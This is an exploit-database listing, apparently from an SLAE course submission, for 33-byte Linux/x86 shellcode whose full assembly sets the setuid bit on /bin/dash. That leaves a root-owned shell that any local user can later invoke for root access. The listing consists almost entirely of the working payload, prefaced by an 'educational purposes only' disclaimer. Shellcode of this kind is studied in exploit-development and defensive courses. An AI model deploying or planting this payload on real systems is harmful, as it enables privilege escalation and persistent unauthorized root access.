Exploits / Vulnerability Discovered : 2018-04-24 |
Type : shellcode |
Platform : linux_x86
This exploit / vulnerability Linux/x86 chmod 4755 /bin/dash shellcode (33 bytes) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
/*
Title: chmod 4755 /bin/dash
Author: absolomb
Website: https://www.sploitspren.com
SLAE-ID: 1208
Purpose: setuid bit on /bin/dash
Tested On: Ubuntu 14.04
Arch: x86
Size: 33 bytes
global _start
section .text
_start:
cdq ; edx to 0
push edx ; terminating NULL
push 0x68736164 ; 'hsad'
push 0x2f6e6962 ; '/nib'
push 0x2f2f2f2f ; '////'
mov ebx, esp ; point ebx to stack
mov cx, 0x9ed ; 4755
push 0xf ; chmod()
pop eax
int 0x80 ; execute chmod()
push 0x1 ; exit()
pop eax
int 0x80 ; execute exit()
*/